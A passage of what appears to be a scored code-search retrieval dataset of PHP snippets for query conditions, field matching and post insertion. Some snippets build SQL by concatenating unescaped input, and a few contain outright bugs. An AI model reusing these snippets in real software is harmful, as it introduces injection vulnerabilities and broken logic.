MODE) \";\n }", "title": "" }, { "docid": "9bbefe72d490856263639e1fd4f8e173", "score": "0.56304675", "text": "public function assertInputValue($field, $value) : static\n {\n $value = Is::boolean($value) ? ($value ? 'true' : 'false') : $value;\n\n return parent::assertInputValue($field, $value);\n }", "title": "" }, { "docid": "b04d6ff58f0377c8144a8167c73d7b09", "score": "0.5623884", "text": "public function add_where_clauses($field, $value = '<NOT>') {\n $this->where['base'][] = ($value != '<NOT>') \n //? array('field' => $field, 'value' => $value) \n ? array($field => $value) \n : $field;\n return $this;\n }", "title": "" }, { "docid": "725c23b307faf39e321c3a87e14f1f9c", "score": "0.561417", "text": "private function arrayFilter($value, $field)\n {\n foreach ($this->_where as $expression) {\n if ($expression['field'] == $field) {\n switch ($expression['op']) {\n case '=':\n return ($value == $expression['value']);\n case '==':\n return ($value === $expression['value']);\n case '>':\n return ($value > $expression['value']);\n case '>=':\n return ($value >= $expression['value']);\n case '<':\n return ($value < $expression['value']);\n case '<=':\n return ($value <= $expression['value']);\n case 'in':\n return in_array($value, $expression['value']);\n }\n }\n }\n\n return true;\n }", "title": "" }, { "docid": "2e95c6dc15f9ff98ec5e521532b06107", "score": "0.5610017", "text": "public function valueToExactMatch($value);", "title": "" }, { "docid": "45a10fa4cfd34f742a063300fc70da59", "score": "0.5592231", "text": "public function func_regexp($fieldname, $value)\n {\n $placeholder = QueryPart::placeholder($fieldname);\n $negate = ($value[0] == '!') ? '!':'';\n $suffix = $this->getForceCaseInsensitive() ? '*' : '';\n if ($value[0] == '!') {\n $value = substr($value, 1);\n }\n $parameter = [$placeholder => $value];\n $field = Db::quoteIdentifier($field);\n\n return new QueryPart(\"{$fieldname} {$negate}~{$suffix} {$placeholder}\", $parameter);\n }", "title": "" }, { "docid": "e5da175aa3544ce234b0a1db3fae524a", "score": "0.5569599", "text": "public function getSearchCriteria($fieldName, $value, $alias='t');", "title": "" }, { "docid": "ceca7b081fd447f6698e58419ea760cc", "score": "0.5569312", "text": "public function __construct($field, $value) {\n\n\t\t$not = false; \n\t\tif(!is_array($field) && isset($field[0]) && $field[0] == '!') {\n\t\t\t$not = true; \n\t\t\t$field = ltrim($field, '!'); \n\t\t}\n\n\t\t$this->set('field', $field); \t\n\t\t$this->set('value', $value); \n\t\t$this->set('not', $not); \n\t\t$this->set('group', null); // group name identified with 'group_name@' before a field name\n\t\t$this->set('quote', ''); // if $value in quotes, this contains either: ', \", [, {, or (, indicating quote type (set by Selectors class)\n\t\t$this->set('forceMatch', null); // boolean true to force match, false to force non-match\n\t}", "title": "" }, { "docid": "ad69ae5f933b1ee19cc7df779cd8b1e3", "score": "0.5531207", "text": "public function check($field, $value = null)\n {\n $element = $this->resolver->resolveForChecking($field, $value);\n\n if (! $element->isSelected()) {\n $element->click();\n }\n\n return $this;\n }", "title": "" }, { "docid": "cb37b743d1691ed2f527e5d7fa236f71", "score": "0.55246586", "text": "public function filterCallbackEq($field, $filterValue, $row)\n {\n return $filterValue == $row[$field];\n }", "title": "" }, { "docid": "dc345b0d54963677be99e9e03ba7a06e", "score": "0.55240136", "text": "private function simpleCondition($field, $value, $positiveOp, $negativeOp)\n {\n $placeholder = QueryPart::placeholder($field);\n $operator = ($value[0] == '!') ? $negativeOp:$positiveOp;\n if ($value[0] == '!') {\n $value = substr($value, 1);\n }\n $parameter = [$placeholder => $value];\n\n if ($this->m_db->getForceCaseInsensitive()) {\n return new QueryPart(\"LOWER({$field}) {$operator} LOWER({$placeholder})\", $parameter);\n } else {\n return new QueryPart(\"{$field} {$operator} {$placeholder}\", $parameter);\n }\n }", "title": "" }, { "docid": "fc9e7583d54c2e0bdd7b73eaf2a6c471", "score": "0.55190724", "text": "public function where($field, $operator = null, $value = null);", "title": "" }, { "docid": "8df892b7d699ce801040614b4287c0a4", "score": "0.55116266", "text": "public function likeSearch( $fields, $value )\n {\n $keywords = preg_split( '/[\\s]+/', $value );\n $where = array();\n foreach ( $keywords as $keyword )\n {\n $value = $this->quote( '%' . $this->escape(array('%', '_'), array('\\%', '\\_'), $keyword) . '%' );\n foreach ( $fields as $field )\n {\n $where[] = \"$field LIKE $value\";\n }\n }\n return implode( ' OR ', $where );\n }", "title": "" }, { "docid": "d93b58f7d45048030e7a6d22cdaf88d9", "score": "0.55015755", "text": "public function filterCallbackLike($field, $filterValue, $row)\n {\n $filterValueRegex = str_replace('%', '(.*?)', preg_quote($filterValue, '/'));\n return (bool)preg_match(\"/^{$filterValueRegex}$/i\", $row[$field]);\n }", "title": "" }, { "docid": "2cba0f870548984da051d0adc5735bd1", "score": "0.5495107", "text": "protected function buildSearchQuery($fields, $value, $mode)\n {\n if ($fields === 'ID') {\n return 'p_email.cardid = ' . intval($value);\n\n } else if ($fields === '*') {\n return '('\n . $this->buildSearchQueryField('name', $value, $mode)\n . ' OR '\n . $this->buildSearchQueryField('email', $value, $mode)\n . ')';\n }\n\n $fields = (array) $fields;\n $sqlParts = [];\n foreach ($fields as $field) {\n if ($field != 'name' && $field != 'email') {\n continue;\n }\n\n $sqlParts[] = $this->buildSearchQueryField($field, $value, $mode);\n }\n return '(' . implode(' OR ', $sqlParts) . ')';\n }", "title": "" }, { "docid": "f6807e636c123dd032382fb6a435281c", "score": "0.54793334", "text": "public function andWhere($condition, $value);", "title": "" }, { "docid": "3ad57b5a0d6ea4df41982c2ecad67528", "score": "0.54703254", "text": "public function greaterthanCondition($field, $value)\n {\n return simpleCondition($field, $value, '>', '<=');\n }", "title": "" }, { "docid": "a5aeba654a8dca194b082308b573b5f1", "score": "0.5456004", "text": "public function gte( $field, $value )\n {\n return $this->compare( $field, $value, s('>=') );\n }", "title": "" }, { "docid": "f0636d3d22264c356f44d53a2227cc92", "score": "0.54444015", "text": "public function matches($value);", "title": "" }, { "docid": "234f5c3359528bbc6a1213f5b7caef7d", "score": "0.5442869", "text": "public function assertChecked($field, $value = null) : static\n {\n $value = Is::boolean($value) ? ($value ? '1' : '0') : $value;\n\n return $this->assertInputValue($field, $value);\n }", "title": "" }, { "docid": "b9f8a6ca0708e78075867dd48603322f", "score": "0.5431524", "text": "public function whereMatch(string $field, string $value, array $parameters = [], ?string $occur = null): static\n {\n $this->addQuery(new MatchQuery($field, $value, $parameters), $occur ?: BoolQuery::FILTER);\n\n return $this;\n }", "title": "" }, { "docid": "71b2d5c3ffeb91cb2c1fb46a36b82fbb", "score": "0.5430837", "text": "private function complexFilter($field, $operator, $value): bool { \n\n switch($operator) {\n case '==':\n return $field == $value;\n break;\n\n case '>':\n return $field > $value;\n break;\n \n case '<':\n return $field < $value;\n break;\n }\n\n return false;\n }", "title": "" }, { "docid": "0f5071d0596a75960846646a0a9c31ce", "score": "0.5429945", "text": "public function customField($value, $field='id')\n {\n return $this->context->table($this->table)->select('*')->where($field, $value);\n }", "title": "" }, { "docid": "e3c39933033d0a34b24612994ac6f0fe", "score": "0.5427901", "text": "public function notEqual($field, $value): QueryExpression\n {\n return $this->addConditions(new ComparisonExpression($field, $value, '!='));\n }", "title": "" }, { "docid": "733a8df07bd91307e2085a9059891178", "score": "0.541743", "text": "public function addQueryCondition($condition, $fieldname = \"\");", "title": "" }, { "docid": "f1414d0c5e433f95fb3059c3bdb7a0ab", "score": "0.54062724", "text": "function addCondition($field, $cond = undefined, $value = undefined, $dsql = null)\n {\n // by default add condition to models DSQL\n if (! $dsql) {\n $dsql = $this->_dsql();\n }\n\n // if array passed, then create multiple conditions joined with OR\n if (is_array($field)) {\n $or = $this->dsql()->orExpr();\n\n foreach ($field as $row) {\n if (! is_array($row)) {\n $row = array($row);\n }\n // add each condition to OR expression (not models DSQL)\n $f = $row[0];\n $c = array_key_exists(1, $row) ? $row[1] : undefined;\n $v = array_key_exists(2, $row) ? $row[2] : undefined;\n\n // recursively calls addCondition method, but adds conditions\n // to OR expression not models DSQL object\n $this->addCondition($f, $c, $v, $or);\n }\n\n // pass generated DSQL expression as \"field\"\n $field = $or;\n $cond = $value = undefined;\n }\n\n // You may pass DSQL expression as a first argument\n if ($field instanceof DB_dsql) {\n $dsql->where($field, $cond, $value);\n return $this;\n }\n\n // value should be specified\n if ($cond === undefined && $value === undefined) {\n throw $this->exception('Incorrect condition. Please specify value');\n }\n\n // get model field object\n if (! $field instanceof Field) {\n $field = $this->getElement($field);\n }\n\n if ($cond !== undefined && $value === undefined) {\n $value = $cond;\n $cond = '=';\n }\n if ($field->type() == 'boolean') {\n $value = $field->getBooleanValue($value);\n }\n\n if ($cond === '=' && !is_array($value)) {\n $field->defaultValue($value)->system(true)->editable(false);\n }\n\n $f = $field->actual_field ?: $field->short_name;\n\n if ($field->calculated()) {\n // TODO: should we use expression in where?\n\n $dsql->where($field->getExpr(), $cond, $value);\n //$dsql->having($f, $cond, $value);\n //$field->updateSelectQuery($this->dsql);\n } elseif ($field->relation) {\n $dsql->where($field->relation->short_name . '.' . $f, $cond, $value);\n } elseif ($this->relations) {\n $dsql->where(($this->table_alias ?: $this->table) . '.' . $f, $cond, $value);\n } else {\n $dsql->where(($this->table_alias ?: $this->table) . '.' . $f, $cond, $value);\n }\n\n return $this;\n }", "title": "" }, { "docid": "b1d829c04c68e00dd5d3c20f339c1b89", "score": "0.54057723", "text": "public function addCondition($condition, $fieldname = \"\");", "title": "" }, { "docid": "b475e208999bfa10e9f40f3d79765392", "score": "0.54056907", "text": "function check($table, $field, $value) {\n \t$query = $this->db->query(\"SELECT * FROM \".$table.\" WHERE \".$field.\" = '\" . $value . \"'\"); \n if ($query->num_rows() > 0) {\n return true;\n } else {\n return false; \n }\n }", "title": "" }, { "docid": "f2f257c9a395d9b054b47230dc67935f", "score": "0.5399999", "text": "protected function isValidField(Field $field, $value)\n {\n $arguments = $this->getArgumentsFromSession();\n $parentPage = $field->getPages();\n $form = $parentPage->getForms();\n $formUid = $form->getUid();\n $pageUid = $parentPage->getUid();\n $marker = $field->getMarker();\n \n if (ConfigurationUtility::isReplaceIrreWithElementBrowserActive()) {\n /** @var Page $page */\n foreach ($form->getPages() as $page) {\n /** @var Field $field */\n foreach ($page->getFields() as $field) {\n if (!empty($arguments[$formUid][$pageUid][$marker][Condition::INDEX_ACTION])) {\n if ($arguments[$formUid][$pageUid][$marker][Condition::INDEX_ACTION] ===\n Condition::ACTION_HIDE_STRING) {\n return;\n }\n }\n }\n }\n } else {\n if (!empty($arguments[Condition::INDEX_TODO][$formUid][$pageUid][$marker][Condition::INDEX_ACTION])) {\n if ($arguments[Condition::INDEX_TODO][$formUid][$pageUid][$marker][Condition::INDEX_ACTION] ===\n Condition::ACTION_HIDE_STRING) {\n return;\n }\n }\n }\n parent::isValidField($field, $value);\n }", "title": "" }, { "docid": "aa248ff97c8d484e3769aeecd5848c70", "score": "0.5393484", "text": "protected function createFilter($field, $value, $conditionType = 'eq')\n {\n return $this->filterBuilder->setField($field)\n ->setValue($value)\n ->setConditionType($conditionType)\n ->create();\n }", "title": "" }, { "docid": "c00c1b67275eb94239b099ec52fd32f0", "score": "0.5392762", "text": "public function get_where($field=false, $value=false, $limit=false)\n\t{\n\t\tif (empty($field) || empty($value)) {\n\t\t\treturn false;\n\t\t}\n\t\t$auth = Nagios_auth_Model::instance();\n\t\t$auth_objects = $auth->get_authorized_servicegroups();\n\t\tif (empty($auth_objects))\n\t\t\treturn false;\n\t\t$obj_ids = array_keys($auth_objects);\n\t\t$limit_str = sql::limit_parse($limit);\n\t\t$value = '%' . $value . '%';\n\t\t$sql = \"SELECT * FROM servicegroup WHERE LCASE(\".$field.\") LIKE LCASE(\".$this->db->escape($value).\") \".\n\t\t\"AND id IN(\".implode(',', $obj_ids).\") \".$limit_str;\n\t\t$obj_info = $this->db->query($sql);\n\t\treturn count($obj_info) > 0 ? $obj_info : false;\n\t}", "title": "" }, { "docid": "0b7619959350b0ae2bce1227a15eb4da", "score": "0.53925294", "text": "protected function createInRowQuery(QueryInterface $query, $field, $value)\n {\n return $query->logicalOr([\n $query->like($field, $value . ',%'),\n $query->like($field, '%,' . $value . ',%'),\n $query->like($field, '%,' . $value),\n $query->equals($field, $value)\n ]);\n }", "title": "" }, { "docid": "19df867f461dd596a8ebcca0c2c781a4", "score": "0.5392211", "text": "private function searchPostBy($field, $searchValue) { \n\n if ($field === 'title') {\n $result = Post::searchByTitle($searchValue)->get();\n } elseif ($field === 'keyword') {\n $result = Post::searchByKeywordName($searchValue)->get();\n } elseif ($field === 'createdBy') { \n $result = Post::searchByCreatorName($searchValue)->get();\n } else {\n $result = Post::searchByCategoryName($searchValue)->get();\n }\n\n return $result;\n }", "title": "" }, { "docid": "fd64ddc78c61339444a3a9fd7c7e396a", "score": "0.5391794", "text": "public function notLike($field, $value): QueryExpression\n {\n return $this->addConditions(new ComparisonExpression($field, $value, 'NOT LIKE'));\n }", "title": "" }, { "docid": "09fbe27fb0dfd97d539bafeb90103e45", "score": "0.5391446", "text": "protected static function matchProperty(array $condition): callable {\n return function ($item) use ($condition) : bool {\n $value = static::getProperty($item, $condition['field']);\n\n // Ignore object property values.\n if (is_object($value)) {\n return FALSE;\n }\n\n // Exit early in case of IS NULL or IS NOT NULL, because they can also\n // deal with array values.\n if (in_array($condition['operator'], ['IS NULL', 'IS NOT NULL'], TRUE)) {\n $should_be_set = $condition['operator'] === 'IS NOT NULL';\n return $should_be_set === isset($value);\n }\n\n if (isset($value)) {\n if (!is_bool($value)) {\n $value = mb_strtolower($value);\n }\n\n switch ($condition['operator']) {\n case '=':\n return $value == $condition['value'];\n\n case '>':\n return $value > $condition['value'];\n\n case '<':\n return $value < $condition['value'];\n\n case '>=':\n return $value >= $condition['value'];\n\n case '<=':\n return $value <= $condition['value'];\n\n case '<>':\n return $value != $condition['value'];\n\n case 'IN':\n return in_array($value, $condition['value'], TRUE);\n\n case 'NOT IN':\n return !in_array($value, $condition['value'], TRUE);\n\n case 'STARTS_WITH':\n return mb_strpos($value, $condition['value']) === 0;\n\n case 'CONTAINS':\n return mb_strpos($value, $condition['value']) !== FALSE;\n\n case 'ENDS_WITH':\n return mb_substr($value, -mb_strlen($condition['value'])) === (string) $condition['value'];\n\n default:\n throw new QueryException('Invalid condition operator.');\n }\n }\n\n return FALSE;\n };\n }", "title": "" }, { "docid": "73aae4d4da74f3951b86bf3089f62cb1", "score": "0.53799534", "text": "public function lte( $field, $value )\n {\n return $this->compare( $field, $value, s('<') );\n }", "title": "" }, { "docid": "d5e53825daecedde9f5e159edf5b0dca", "score": "0.5367561", "text": "private function queryConstruct($searchValue)\n {\n $query = $this->returnType::query();\n\n if (!empty($this->restriction)) {\n $query->where($this->restriction['table'] . \".\" . $this->restriction['field'], \"=\", $this->restriction['value']);\n }\n //old attempt\n /*$counter = 1;\n foreach ($this->searchableFields as $tablekey => $table) {\n foreach ($table as $field) {\n\n if ($counter == 1) {\n $query->Where($tablekey . \".\" . $field, \"LIKE\", \"%\" . $searchValue . \"%\");\n $counter++;\n } else {\n $query->orWhere($tablekey . \".\" . $field, \"LIKE\", \"%\" . $searchValue . \"%\");\n }\n }\n }*/\n\n //attempt using a closure\n //https://stackoverflow.com/questions/22694866/how-to-add-brackets-around-where-conditions-with-laravel-query-builder\n $query->where(function ($query) use ($searchValue) {\n foreach ($this->searchableFields as $tablekey => $table) {\n foreach ($table as $field) {\n $query->orWhere($tablekey . \".\" . $field, \"LIKE\", \"%\" . $searchValue . \"%\");\n }\n }\n });\n\n\n return $query;\n }", "title": "" }, { "docid": "0c72a0c913a23833e0b9938eebbd2344", "score": "0.53410536", "text": "public function wildcard($field, $value)\n {\n $this->container=['wildcard'=>[$field=>$value]];\n return $this;\n }", "title": "" }, { "docid": "f50c8fc573178597f7e03e636054a2b2", "score": "0.53368723", "text": "public function uniqueField($field = '', $value = '') {\n\n $result = $this->entity_query->get('node')\n ->condition($field, $value, '=')\n ->execute();\n\n $unique = empty($result);\n\n return $unique;\n }", "title": "" }, { "docid": "9fea56d847216888284bc847af83f84b", "score": "0.5333288", "text": "private function constructWhere($field, $string, $and = FALSE)\n {\n $cond = ($and) ? 'AND' : 'WHERE';\n list($test, $string) = explode(',', $string);\n $test = str_replace('minus', '<', $test);\n $test = str_replace('plus', '>', $test);\n $test = str_replace('equal', '=', $test);\n if ($test === 'like') {\n $test = strtoupper($test);\n $string = '%' . $string . '%';\n }\n return ' ' . $cond . ' ' .$field . ' ' .$test . ' \"' . $string . '\"';\n }", "title": "" }, { "docid": "556f0f63eb778315cf7461730d9c1e98", "score": "0.5311947", "text": "public function get_by_field($field,$value)\r\n\t\t{\r\n\t\t\t$object = $this->where($field,'=',$value)->find();\r\n\t\t}", "title": "" }, { "docid": "9c44589556507fa6271dc16ee59fa848", "score": "0.53102314", "text": "public static function is_condition_fulfilled( $form_field_value, $condition ) {\n\t\tswitch ( $condition['rule'] ) {\n\t\t\tcase 'is':\n\t\t\t\tif ( is_array( $form_field_value ) ) {\n\t\t\t\t\t// possible input is \"1\" to be compared with 1\n\t\t\t\t\treturn in_array( $condition['value'], $form_field_value ); //phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict\n\t\t\t\t}\n\t\t\t\tif ( is_numeric( $condition['value'] ) ) {\n\t\t\t\t\treturn ( ( int ) $form_field_value === ( int ) $condition['value'] );\n\t\t\t\t}\n\n\t\t\t\treturn ( $form_field_value === $condition['value'] );\n\t\t\tcase 'is_not':\n\t\t\t\tif ( is_array( $form_field_value ) ) {\n\t\t\t\t\t// possible input is \"1\" to be compared with 1\n\t\t\t\t\treturn ! in_array( $condition['value'], $form_field_value ); //phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict\n\t\t\t\t}\n\n\t\t\t\treturn ( $form_field_value !== $condition['value'] );\n\t\t\tcase 'is_great':\n\t\t\t\tif ( ! is_numeric( $condition['value'] ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\tif ( ! is_numeric( $form_field_value ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\treturn $form_field_value > $condition['value'];\n\t\t\tcase 'is_less':\n\t\t\t\tif ( ! is_numeric( $condition['value'] ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\tif ( ! is_numeric( $form_field_value ) ) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\treturn $form_field_value < $condition['value'];\n\t\t\tcase 'contains':\n\t\t\t\treturn ( stripos( $form_field_value, $condition['value'] ) === false ? false : true );\n\t\t\tcase 'starts':\n\t\t\t\treturn ( stripos( $form_field_value, $condition['value'] ) === 0 ? true : false );\n\t\t\tcase 'ends':\n\t\t\t\treturn ( stripos( $form_field_value, $condition['value'] ) === ( strlen( $form_field_value - 1 ) ) ? true : false );\n\t\t\tdefault:\n\t\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "a1886c142ade489d0d855fd7a497e003", "score": "0.5291481", "text": "function exact_match_sql($field, $i, $type = 'short', $param = null, $table_alias = 'r')\n{\n $table = ' LEFT JOIN ' . $GLOBALS['SITE_DB']->get_table_prefix() . 'catalogue_efv_' . $type . ' f' . strval($i) . ' ON (f' . strval($i) . '.ce_id=' . $table_alias . '.id AND f' . strval($i) . '.cf_id=' . strval($field['id']) . ')';\n $search_field = 'f' . strval($i) . '.cv_value';\n if (is_null($param)) {\n $param = get_param_string('option_' . strval($field['id']), '');\n }\n $where_clause = '';\n if ($param != '') {\n if ($type == 'float' || $type == 'integer') {\n $where_clause .= $search_field . '=' . $param;\n } else {\n $where_clause = db_string_equal_to($search_field, $param);\n }\n }\n return array(array(), array('f' . strval($i) . '.cv_value'), $table, $search_field, $where_clause);\n}", "title": "" }, { "docid": "87cc1124899f9ddeebbae9fc84538924", "score": "0.5287601", "text": "public static function findFromFieldValues($fieldswithvalue, $excludefieldswithvalue = array()) {\n $sqlstring = \"\";\n $values = array();\n if (count($fieldswithvalue) > 0) {\n $sqlstring .= \"(\";\n $addand = false;\n foreach ($fieldswithvalue as $field => $value) {\n if ($addand === true) {\n $sqlstring .= \" and \";\n }\n if ($value == \"\") {\n $value = 0;\n }\n $values[] = $value;\n $sqlstring .= \" \" . $field . \" = ? \";\n $addand = true;\n }\n $sqlstring .= \")\";\n }\n if (count($excludefieldswithvalue) > 0) {\n if (strlen(trim($sqlstring)) > 0) {\n $sqlstring .= \" and \";\n }\n $sqlstring .= \"(\";\n $addand = false;\n foreach ($excludefieldswithvalue as $field => $value) {\n if ($addand === true) {\n $sqlstring .= \" and \";\n }\n if ($value == \"\") {\n $value = 0;\n }\n $values[] = $value;\n $sqlstring .= \" \" . $field . \" <> ? \";\n $addand = true;\n }\n $sqlstring .= \")\";\n }\n $args = array(\"conditions\" => array_merge(array($sqlstring), $values));\n return call_user_func_array('static::find', array_merge(array('all'), array(\"conditions\" => $args)));\n }", "title": "" }, { "docid": "a0a282af7e070c3d30958d5fdd4c5e26", "score": "0.52865905", "text": "public function eq(string $fieldName, $value): string\n {\n return $this->comparison($this->connection->quoteIdentifier($fieldName), static::EQ, $value);\n }", "title": "" }, { "docid": "5e24f6d0f508acc250a00949368e5fdb", "score": "0.5285068", "text": "public function whereEq(string $column, $value): MySQLiWhereQuery\n {\n $this->conditions[] = $this->_whereScalarCond($column, $value, '=', __FUNCTION__);\n return $this;\n }", "title": "" }, { "docid": "a9029b4547789374c079009d8b64679b", "score": "0.52781063", "text": "public function setcondition($value)\n {\n $this->_fields['condition']['FieldValue'] = $value;\n return $this;\n }", "title": "" }, { "docid": "0f2796b20dbab094e6e1eb3dcdc0a3b2", "score": "0.5273584", "text": "public function where($field, $opperand, $value)\n {\n if (in_array($opperand, $this->opperands)) {\n $this->query .= \"where $field $opperand :$field\";\n $this->data[':'.$field] = $value;\n }\n }", "title": "" }, { "docid": "d2f131035463c534e4e56f1aa2a877ad", "score": "0.52726424", "text": "public function match($tableName, $fieldName, $operator, $value) {\n\n\t\t$database = $this->wire('database');\n\t\t$query = $this->query; \n\t\t$value = substr(trim($value), 0, self::maxQueryValueLength); \n\t\t$tableName = $database->escapeTable($tableName); \n\t\t$fieldName = $database->escapeCol($fieldName); \n\t\t$tableField = \"$tableName.$fieldName\";\n\n\t\tswitch($operator) {\n\n\t\t\tcase '=':\n\t\t\tcase '!=':\n\t\t\tcase '>':\n\t\t\tcase '<':\n\t\t\tcase '<=':\n\t\t\tcase '>=': \n\t\t\t\t$v = $database->escapeStr($value); \n\t\t\t\t$query->where(\"$tableField$operator'$v'\");\n\t\t\t\t// @todo, bound values can be used instead for many cases, update to use them like this:\n\t\t\t\t// $query->where(\"$tableField$operator:value\", array(':value' => $value)); \n\t\t\t\tbreak;\t\n\n\t\t\tcase '*=':\n\t\t\t\t$this->matchContains($tableName, $fieldName, $operator, $value); \n\t\t\t\tbreak;\n\n\t\t\tcase '~=':\n\t\t\t\t$words = preg_split('/[-\\s,]/', $value, -1, PREG_SPLIT_NO_EMPTY); \n\t\t\t\tforeach($words as $word) {\n\t\t\t\t\t$len = function_exists('mb_strlen') ? mb_strlen($word) : strlen($word);\n\t\t\t\t\tif(DatabaseStopwords::has($word) || $len < $database->getVariable('ft_min_word_len')) {\n\t\t\t\t\t\t$this->matchWordLIKE($tableName, $fieldName, $word);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->matchContains($tableName, $fieldName, $operator, $word);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(!count($words)) $query->where(\"1>2\"); // force it not to match if no words\n\t\t\t\tbreak;\n\n\t\t\tcase '%=':\n\t\t\t\t$v = $database->escapeStr($value); \n\t\t\t\t$v = $this->escapeLIKE($v); \n\t\t\t\t$query->where(\"$tableField LIKE '%$v%'\"); // SLOW, but assumed\n\t\t\t\tbreak;\n\n\t\t\tcase '^=':\n\t\t\tcase '%^=': // match at start using only LIKE (no index)\n\t\t\t\t$v = $database->escapeStr($value);\n\t\t\t\t$v = $this->escapeLIKE($v); \n\t\t\t\t$query->where(\"$tableField LIKE '$v%'\"); \n\t\t\t\tbreak;\n\n\t\t\tcase '$=':\n\t\t\tcase '%$=': // RCD match at end using only LIKE (no index)\n\t\t\t\t$v = $database->escapeStr($value);\n\t\t\t\t$v = $this->escapeLIKE($v); \n\t\t\t\t$query->where(\"$tableField LIKE '%$v'\"); \n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\tthrow new WireException(\"Unimplemented operator in \" . get_class($this) . \"::match()\"); \n\t\t}\n\n\t\treturn $this; \n\t}", "title": "" }, { "docid": "baeceaf95ad055c16e4879cd14557d90", "score": "0.5266668", "text": "protected static function _unique_value($value, $field, $table)\r\n\t{\r\n\t\t$query = self::where($field, '=', $value);\r\n\r\n\t\treturn $query->count() == 0;\r\n\t}", "title": "" }, { "docid": "967a998034cb462ca3fba2ebabfc5289", "score": "0.5262043", "text": "protected function search($value)\n {\n $this->builder\n ->where('title', 'LIKE', \"%{$value}%\")\n ->orWhere('body', 'LIKE', \"%{$value}%\");\n }", "title": "" } ]
052883aa4a146e28ac745912afd07538
Insert the individual post
[ { "docid": "da3b809364f8cd273284cd718cd07590", "score": "0.0", "text": "function do_post($post)\n{\n\n // $post has:\n // $post->post_id,\n // $post->title,\n // $post->content,\n // $post->creator_name,\n // $post->creator_email,\n // $post->date_posted,\n // $post->date_updated,\n // $post->status\n\n ?>\n <div id=\"post_container_<?php echo $post->post_id; ?>\">\n <h2 class=\"post-title\"><?php echo $post->title; ?></h2>\n <div class=\"credit-wrapper\">by\n <div class=\"author-name\"><?php echo $post->creator_name; ?></div>\n on\n <div class=\"post-date\"><?php echo date(DATE_FORMAT, strtotime($post->date_posted)); ?></div>\n </div>\n <div class=\"post-content\"><?php echo nl2br($post->content); ?></div>\n </div>\n\n <?php\n}", "title": "" } ]
[ { "docid": "42c7fec3892719fa6b790b524874f3e3", "score": "0.78274137", "text": "function insert(EntityPost $entity);", "title": "" }, { "docid": "a68698274c273891ece5b6d172db0090", "score": "0.78136474", "text": "public function insertPost() {\n\n $sql = 'INSERT INTO posts (id_user, title, content) ';\n $sql.= 'VALUES (:id_user,:title,:content)';\n\n try {\n $insert_post = Connection::prepare($sql);\n $insert_post->bindValue(':id_user', $this->getIdUser(), PDO::PARAM_STR);\n $insert_post->bindValue(':title', $this->getTitle(), PDO::PARAM_STR);\n $insert_post->bindValue(':content', $this->getContent(), PDO::PARAM_STR);\n $insert_post->execute();\n \n } catch (PDOException $error_insert) {\n echo 'Erro ao cadastrar um novo post ' . $error_insert->getMessage();\n }\n }", "title": "" }, { "docid": "b8c8614a13e4ef680295915150e8492e", "score": "0.7709544", "text": "public function insertsPost(){\n\n // $posts->Firstname = \"\";\n // $posts->Lastname = \"\";\n // $posts->Age = \"\";\n\n // $posts->save();\n }", "title": "" }, { "docid": "d98af51e03fad3790daf83c5e95bddf5", "score": "0.7623819", "text": "public function storePost(){\n\n\t\t$manager = $this->manager->getManager();\n\n\t\t$store = $manager->query('INSERT INTO posts(title, content, published, date_creation, theme_id, picture_url) VALUES( NULL, NULL, 1, NOW(), 0, NULL)') or die(print_r($manager->errorMessage()));\n\t}", "title": "" }, { "docid": "73df76674331037a5aa81bda815aa5b4", "score": "0.7428464", "text": "public function insert_post($post){\n\n /* starting the connection class with the database */\n $connection = new Connection();\n\n /* creating the val */\n $values = [\n \"post_desc\" => [\"param\" => $post, \"type\" => PDO::PARAM_STR] \n ];\n\n if(!$connection->insert(\"post\", \"(post_desc)\", $values, \"\", \"(?)\"))\n echo \"Success! See the post in your db\";\n else\n echo \"Error, something went wrong\";\n\n\n }", "title": "" }, { "docid": "e8be762f14e5bbd3231981aff22ff404", "score": "0.7406541", "text": "public function p_enter() {\n $_POST['created'] = Time::now();\n $_POST['user_id'] = $this->user->user_id;\n DB::instance(DB_NAME)->insert('posts', $_POST);\n Router::redirect('/');\n }", "title": "" }, { "docid": "b1fc0ef847b79e5925b9710aeac6ee6a", "score": "0.7401546", "text": "public function p_add(){\n\t\t$_POST['user_id'] = $this->user->user_id;\n\t\t$_POST['created'] = Time::now();\n\t\t$_POST['modified'] = Time::now();\n\t\t\n\t\t#Enters the data into the post table\n\t\tDB::instance(DB_NAME)->insert('posts', $_POST);\n\t\t\n\t\t#upon completion the user is routed to /posts/\n\t\tRouter::redirect('/posts/');\n\t\t}", "title": "" }, { "docid": "3aeb27b1749346086d9664beeb754a11", "score": "0.7341754", "text": "public function newPost() {\n $title = $_POST[\"title\"];\n $author = $_POST[\"author\"];\n $content = $_POST[\"content\"];\n $image=!empty($_FILES[\"image\"][\"name\"])\n ? sha1_file($_FILES['image']['tmp_name']) . \"-\" . basename($_FILES[\"image\"][\"name\"]) : \"\";\n $date_create = date('Y-m-d H:i:s');\n $date_modification = date('Y-m-d H:i:s');\n\n //Si hi ha algun camp nul\n if ($this->hasNulls([$title, $author, $content, $image, $date_create, $date_modification])) {\n header('Location: '.constant('URL').\"posts/insert/error\");\n }\n\n //Si tots els camps tenen dades fem insert\n else {\n Post::insert($title, $author, $content, $image, $date_create, $date_modification);\n }\n }", "title": "" }, { "docid": "36335a8468863d680a32ce7a691d981a", "score": "0.73391604", "text": "private function insertPost(Post $post) {\n try {\n $this->iPost->bindValue(1, $post->getTitle());\n $this->iPost->bindValue(2, $post->getText());\n $this->iPost->bindValue(3, $post->getDate());\n $this->iPost->bindValue(4, $post->getUser()->getID());\n $this->iPost->execute();\n\n $ID = (int) $this->connection->lastInsertId();\n\n // save relationship\n foreach ($post->getProducts() as $product) {\n $this->insertPostProduct($ID, $product->getID());\n }\n\n $post->copyFrom($this->getPost($ID));\n $post->setDirty(false);\n } catch (PDOException $ex) {\n echo \"PDOEXCEPTION ===========================\";\n var_dump($ex);\n }\n\n return $this;\n }", "title": "" }, { "docid": "b75907d8db3edf358732eaf6736111dd", "score": "0.7293023", "text": "public function p_add() 